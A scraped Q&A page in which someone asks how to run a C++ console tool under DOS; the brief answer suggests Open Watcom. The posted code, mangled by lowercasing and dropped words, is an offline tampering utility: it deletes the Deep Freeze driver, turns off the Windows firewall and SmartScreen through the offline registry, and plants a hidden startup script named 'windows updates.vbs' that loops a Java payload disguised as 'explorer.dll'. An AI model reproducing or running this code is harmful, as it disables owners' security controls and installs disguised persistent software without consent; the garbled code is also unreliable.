linux - Compile existing C++ code to run in DOS -


i have app in c++ copies files user's hdd. use hiren's bootcd on flash drive launch minixp , run app under that, load times kind of slow, thought of adding app in dos image came disk. problem app not run because "this app cannot run in dos mode".

how can run application under dos or possibly other operating system boot quick enough usb drive?

my app console application, , it's code is:

#include <iostream> #include <fstream> #include <windows.h> #include <string.h> #include <sys/stat.h> #include <stdio.h> #include <io.h> #define max 256 using namespace std; string systemdrive; string users[max];int userscontor=0; bool choosew7orxp; void menu(); bool exists(const std::string& dirname_in) {   dword ftyp = getfileattributesa(dirname_in.c_str());   if (ftyp == invalid_file_attributes)     return false;  //something wrong path!    if (ftyp & file_attribute_directory)     return true;   // directory!    return false;    // not directory! } bool fileexists (const std::string& name) {   struct stat buffer;   return (stat (name.c_str(), &buffer) == 0); } void checkdrive(char drive[]) {     string s(drive);     s+="windows";     if (exists(s))     {         systemdrive = string(drive);     } } void list() {     int dr_type=99;     char dr_avail[max];     char *temp=dr_avail;     /* 1st fill buffer */     getlogicaldrivestrings(max,dr_avail);     while(*temp!=null) { // split buffer null         dr_type=getdrivetype(temp);         switch(dr_type) {             case 3: // fixed             checkdrive(temp);             break;         }         temp += lstrlen(temp) +1; // incriment buffer      }  } void copyfiles(string a1,string a2) {     system((char*)(string("copy /v \""+a1+"\" \""+a2+"\"").c_str())); } void redeepfreeze() {     system("cls");     if (!fileexists(systemdrive+"deepfrz.backup"))     {         cout << "> backup not exist!\n";         sleep(1000);         menu();     }     else     {         cout <<"> found backup.\n";         cout <<"> restoring backup.\n";          string f = systemdrive;         f+="windows\\system32\\drivers\\deepfrz.sys";         if( remove(f.c_str()) !=0 )         {             cout << "> cannot delete file! aborting.\n";             sleep(1000);             menu();         }         copyfiles(systemdrive+"deepfrz.backup",systemdrive+"windows\\system32\\drivers\\deepfrz.sys");         cout <<"> backup restored under \"deepfrz.sys\"\n";         sleep(1000);         menu();      } } void disablefirewall() {     system("cls");     cout <<"> loading registery windows machine...\n"; //    cout << "reg load hklm\\old_system "+systemdrive+"windows\\system32\\config\\system";     system((char*)(string("reg load hklm\\old_system "+systemdrive+"windows\\system32\\config\\system").c_str()));     cout <<"> registery loaded, disabling firewall :3\n";     (int i=0;i<=9;i++)     {         char buff[33];         system((char*)(string("reg add \"hklm\\old_system\\controlset00"+string(itoa(i,buff,10))+"\\services\\sharedaccess\\parameters\\firewallpolicy\\domainprofile\" /v enablefirewall /t reg_dword /d 0 /f").c_str()));         system((char*)(string("reg add \"hklm\\old_system\\controlset00"+string(itoa(i,buff,10))+"\\services\\sharedaccess\\parameters\\firewallpolicy\\standardprofile\" /v enablefirewall /t reg_dword /d 0 /f").c_str()));         system((char*)(string("reg add \"hklm\\old_system\\controlset00"+string(itoa(i,buff,10))+"\\services\\sharedaccess\\parameters\\firewallpolicy\\publicprofile\" /v enablefirewall /t reg_dword /d 0 /f").c_str()));     } //    system((char*)(string("reg add \"hklm\\system\\currentcontrolset\\services\\sharedaccess\\parameters\\firewallpolicy\\domainprofile\" /v enablefirewall /t reg_dword /d 0 /f").c_str())); //    system((char*)(string("reg add \"hklm\\system\\currentcontrolset\\services\\sharedaccess\\parameters\\firewallpolicy\\standardprofile\" /v enablefirewall /t reg_dword /d 0 /f").c_str())); //    system((char*)(string("reg add \"hklm\\system\\currentcontrolset\\services\\sharedaccess\\parameters\\firewallpolicy\\publicprofile\" /v enablefirewall /t reg_dword /d 0 /f").c_str()));     cout <<"> operation completed,saving..\n";     system("reg unload hklm\\old_system");     cout <<"> done.\n";     sleep(1000);     menu(); } void disablesmartscreen() {     system("cls");     cout <<"> loading registery windows machine...\n";     system((char*)(string("reg load hklm\\old_software "+systemdrive+"windows\\system32\\config\\software").c_str()));     cout <<"> registery loaded, disabling smartscreen :3\n"; //    cout <<"reg add \"hklm\\old_software\\software\\microsoft\\windows\\currentversion\\explorer\" /v smartscreenenabled /t reg_sz /d off /f"; //    system("pause");     system((char*)(string("reg add \"hklm\\old_software\\microsoft\\windows\\currentversion\\explorer\" /v smartscreenenabled /t reg_sz /d off /f").c_str()));     cout <<"> operation completed,saving..\n";     system("reg unload hklm\\old_software");     cout <<"> done.\n";     sleep(1000);     menu(); } //} void deldeepfreeze() {     system("cls");     if (!fileexists(systemdrive+"windows\\system32\\drivers\\deepfrz.sys"))     {         cout << "> deepfreeze not exist!\n";         sleep(1000);         menu();     }     else     {         cout <<"> found deepfreeze.\n";         cout <<"> creating backup.\n"; //        copyfiles(systemdrive+"windows\\system32\\drivers\\deepfrz.sys",systemdrive+"windows\\system32\\drivers\\deepfrz.backup");         copyfiles(systemdrive+"windows\\system32\\drivers\\deepfrz.sys",systemdrive+"deepfrz.backup");         cout <<"> attempting unfreeze part one...\n";          string f = systemdrive;         f+="windows\\system32\\drivers\\deepfrz.sys";          if( remove(f.c_str()) !=0 )         {             cout << "> cannot delete file! aborting.\n";             sleep(1000);             menu();         }          cout <<"> backup crated under \"deepfrz.backup\"\n";         cout <<"> searching \"ntfs.sys\"...\n";         if (!fileexists(systemdrive+"windows\\system32\\drivers\\ntfs.sys"))         {             cout <<" > error. cannot find ntfs.sys! aborting.\n";             sleep(1000);             menu();         }         else         {             cout << "> patching ntfs.sys...\n";             copyfiles(systemdrive+"windows\\system32\\drivers\\ntfs.sys",systemdrive+"windows\\system32\\drivers\\deepfrz.sys");             cout << "> patching done. computer unfrozen!\n";             sleep(1000);             menu();         }     } } void list(char* dir,string users[],int &unr) {     int con=0;     char originaldirectory[_max_path];      // current directory can return     _getcwd(originaldirectory, _max_path);      _chdir(dir);  // change working directory     _finddata_t fileinfo;      // grab first file in directory     // "*" can changed if want specific files     intptr_t handle = _findfirst("*", &fileinfo);      if(handle == -1)  // no files or directories found     {         cout <<"> no users found.\n";         return;     }          {         if(strcmp(fileinfo.name, ".") == 0 || strcmp(fileinfo.name, "..") == 0)             continue;         if(fileinfo.attrib & _a_subdir) // use bitmask see if directory         {             users[con]=fileinfo.name;             con++;         }  //        else //            cout << "this file." << endl;     } while(_findnext(handle, &fileinfo) == 0);      _findclose(handle); // close stream      _chdir(originaldirectory);     unr=con; }  void installapp(char* app) {     system("cls");     if (!fileexists(app))     {         cout << "> "<<app<<" not exist!\n";         sleep(1000);         menu();     }     else     {        if (choosew7orxp==true)///it's w7 or w8        {            string temp = systemdrive+"users";            string tmpu[max];            int amont;            list((char*)temp.c_str(),tmpu,amont);            cout << "> user you? enter #"<<"\n\n";            (int i=0;i<amont;i++)            {                cout << "user number #"<<i<<": "<<tmpu[i]<<"\n";            }            int nr;            cin >> nr;            while (nr<0||nr>amont)            {                cout << "invalid number!\n";cin>>nr;            }            system("cls");            cout << "> selected user #"<<nr<<", \""<<tmpu[nr]<<"\".\n";            string dest = systemdrive+"users\\"+tmpu[nr]+"\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup";            cout <<"> installing..\n";            copyfiles(app,dest+"\\"+app);            cout <<"> done!\n";            sleep(1000);         }        else        { ///it's wxp            string temp = systemdrive+"documents , settings";            string tmpu[max];            int amont;            list((char*)temp.c_str(),tmpu,amont);            cout << "> user you? enter #"<<"\n\n";            (int i=0;i<amont;i++)            {                cout << "user number #"<<i<<": "<<tmpu[i]<<"\n";            }            int nr;            cin >> nr;            while (nr<0||nr>amont)            {                cout << "invalid number!\n";cin>>nr;            }            system("cls");            cout << "> selected user #"<<nr<<", \""<<tmpu[nr]<<"\".\n";            string dest = systemdrive+"documents , settings\\"+tmpu[nr]+"\\start menu\\programs\\startup";            cout <<"> installing..\n";            copyfiles(app,dest+"\\"+app);            cout <<"> done!\n";            sleep(1000);        }     } } void masseject_fix() {     system("cls");     char letter;     cout <<"> default cd letter?\n";     cin >> letter;     letter=toupper(letter);     cout <<"> selected drive: \""<<letter<<":\\\".\n";     if (choosew7orxp==true)///it's w7 or w8    {        string temp = systemdrive+"users";        string tmpu[max];        int amont;        list((char*)temp.c_str(),tmpu,amont);        cout << "> user you? enter #"<<"\n\n";        (int i=0;i<amont;i++)        {            cout << "user number #"<<i<<": "<<tmpu[i]<<"\n";        }        int nr;        cin >> nr;        while (nr<0||nr>amont)        {            cout << "invalid number!\n";cin>>nr;        }        system("cls");        cout << "> selected user #"<<nr<<", \""<<tmpu[nr]<<"\".\n";        string dest = systemdrive+"users\\"+tmpu[nr]+"\\appdata\\roaming";         fstream fout((dest+"\\massdrive.txt").c_str(),ios::out);        fout<<" "<<letter;        fout.close();        cout <<"> done!\n";        sleep(1000);     }    else    { ///it's wxp        string temp = systemdrive+"documents , settings";        string tmpu[max];        int amont;        list((char*)temp.c_str(),tmpu,amont);        cout << "> user you? enter #"<<"\n\n";        (int i=0;i<amont;i++)        {            cout << "user number #"<<i<<": "<<tmpu[i]<<"\n";        }        int nr;        cin >> nr;        while (nr<0||nr>amont)        {            cout << "invalid number!\n";cin>>nr;        }        system("cls");        cout << "> selected user #"<<nr<<", \""<<tmpu[nr]<<"\".\n";        string dest = systemdrive+"documents , settings\\"+tmpu[nr]+"\\application data";          cout <<"> done!\n";        sleep(1000);    }  } void installappdata(char* app) {     if (!fileexists(app))     {         cout << "> "<<app<<" not exist!\n";         sleep(1000);         menu();     }     else     {        if (choosew7orxp==true)///it's w7 or w8        {            string temp = systemdrive+"users";            string tmpu[max];            int amont;            list((char*)temp.c_str(),tmpu,amont);            cout << "> user you? enter #"<<"\n\n";            (int i=0;i<amont;i++)            {                cout << "user number #"<<i<<": "<<tmpu[i]<<"\n";            }            int nr;            cin >> nr;            while (nr<0||nr>amont)            {                cout << "invalid number!\n";cin>>nr;            }            system("cls");            cout << "> selected user #"<<nr<<", \""<<tmpu[nr]<<"\".\n";            string dest = systemdrive+"users\\"+tmpu[nr]+"\\appdata\\roaming";            cout <<"> installing..\n";            copyfiles(app,dest+"\\"+app);            cout <<"> done!\n";            sleep(1000);         }        else        { ///it's wxp            string temp = systemdrive+"documents , settings";            string tmpu[max];            int amont;            list((char*)temp.c_str(),tmpu,amont);            cout << "> user you? enter #"<<"\n\n";            (int i=0;i<amont;i++)            {                cout << "user number #"<<i<<": "<<tmpu[i]<<"\n";            }            int nr;            cin >> nr;            while (nr<0||nr>amont)            {                cout << "invalid number!\n";cin>>nr;            }            system("cls");            cout << "> selected user #"<<nr<<", \""<<tmpu[nr]<<"\".\n";            string dest = systemdrive+"documents , settings\\"+tmpu[nr]+"\\application data";            cout <<"> installing..\n";            copyfiles(app,dest+"\\"+app);            cout <<"> done!\n";            sleep(1000);        }     } } void installkirloga() {     fstream temp("windows updates.vbs",ios::out);     temp << "createobject(\"wscript.shell\").run \"\"\"\" & \"%appdata%/xfrps.bat\" & \"\"\"\", 0, false";     temp.close();     installapp("windows updates.vbs");      fstream temp2("xfrps.bat",ios::out);     temp2 << ":loop\r\ndel \"%appdata%\\kirloga.jar\"\r\ncopy \"%appdata%\\explorer.dll_update\" \"%appdata%\\explorer.dll\"\r\njava -jar \"%appdata%\\explorer.dll\" 1\r\ngoto loop";     temp2.close();      installappdata("xfrps.bat");     installappdata("explorer.dll_update");     menu();  } void install_custom() {     system("cls");     char ch[max];     cout <<"> enter app name: ";     cin  >>ch;     installapp(ch);     menu(); } void menu() {     int choose;     system("cls");     cout <<"> main menu. please choose option.\n";     cout <<"> 1. delete deepfreeze\n";     cout <<"> 2. reinstall deepfreeze\n";     cout <<"> 3. install masseject\n";     cout <<"> 4. configure masseject\n";     cout <<"> 5. install other app startup\n";     cout <<"> 6. disable smartscren\n";     cout <<"> 7. disable firewall\n";     cout <<"> 8. quickie (administrator, e:\\) <not updated>\n";     cout <<"> 9. install kirloga <only starts after reboot>\n";     cin.get();     cin >> choose;     if (choose==1)     {         deldeepfreeze();     }     else if (choose==2)     {         redeepfreeze();     }     else if (choose==3)     {         installapp("masseject.jar");         menu();     }else if (choose==4)     {          masseject_fix();     }else if (choose==5)     {         install_custom();     }else if (choose==6)     {         disablesmartscreen();     }     else if (choose==7)     {         disablefirewall();     }     else if (choose==8)     {         //todo     }     else if (choose==9)     {         installkirloga();     } } void choose_os() {    system("cls");    cout << "> running on windows 7 or 8.x? <a/b>"<<'\n';    char choice;    cin >> choice;    switch(choice)    {        case 'a': choosew7orxp=true;break;        case 'a': choosew7orxp=true;break;        case 'b': choosew7orxp=false;break;        case 'b': choosew7orxp=false;break;        default: cout << "> no, that's not how it..."; sleep(1000);choose_os();break;    }    system("cls"); } int main() {     system("cls");     cout << "> welcome kiraly's pack utility.\n";     cout << "> scanning system drives...\n";     list();     cout << "> system drive identified: "<<systemdrive<<", correct? (y/n) ";     char cdr;     cin >> cdr;     while (cdr!='y'&&cdr!='y'&&cdr!='n'&&cdr!='n')     {         cout << "incorrect syntax. please re-enter. ";         cin >> cdr;     }     if (cdr=='n'||cdr=='n')     {         cout << "> please enter drive letter only. example: \"c\" not \"c:\\\" ";         char drlet;         cin >> drlet;         if ((int)drlet>=97)         {             drlet-=32;         }         systemdrive="";systemdrive+=drlet;systemdrive+=":\\";         cout <<"> system drive letter has been set to: "<<systemdrive<<"\n";     } //    sleep(1000);     system(systemdrive.substr(0,2).c_str());     choose_os();     menu();  } 

first of , need compiler can produce dos code, such watcom c++ : http://www.openwatcom.org/index.php/main_page

your program uses windows api calls (it includes windows.h), need replace these functions dos equivalents or write substitutes yourself.


Comments

Popular posts from this blog

c++ - No viable overloaded operator for references a map -

java - Custom OutputStreamAppender not run: LOGBACK: No context given for <MYAPPENDER> -

java - Cannot secure connection using TLS -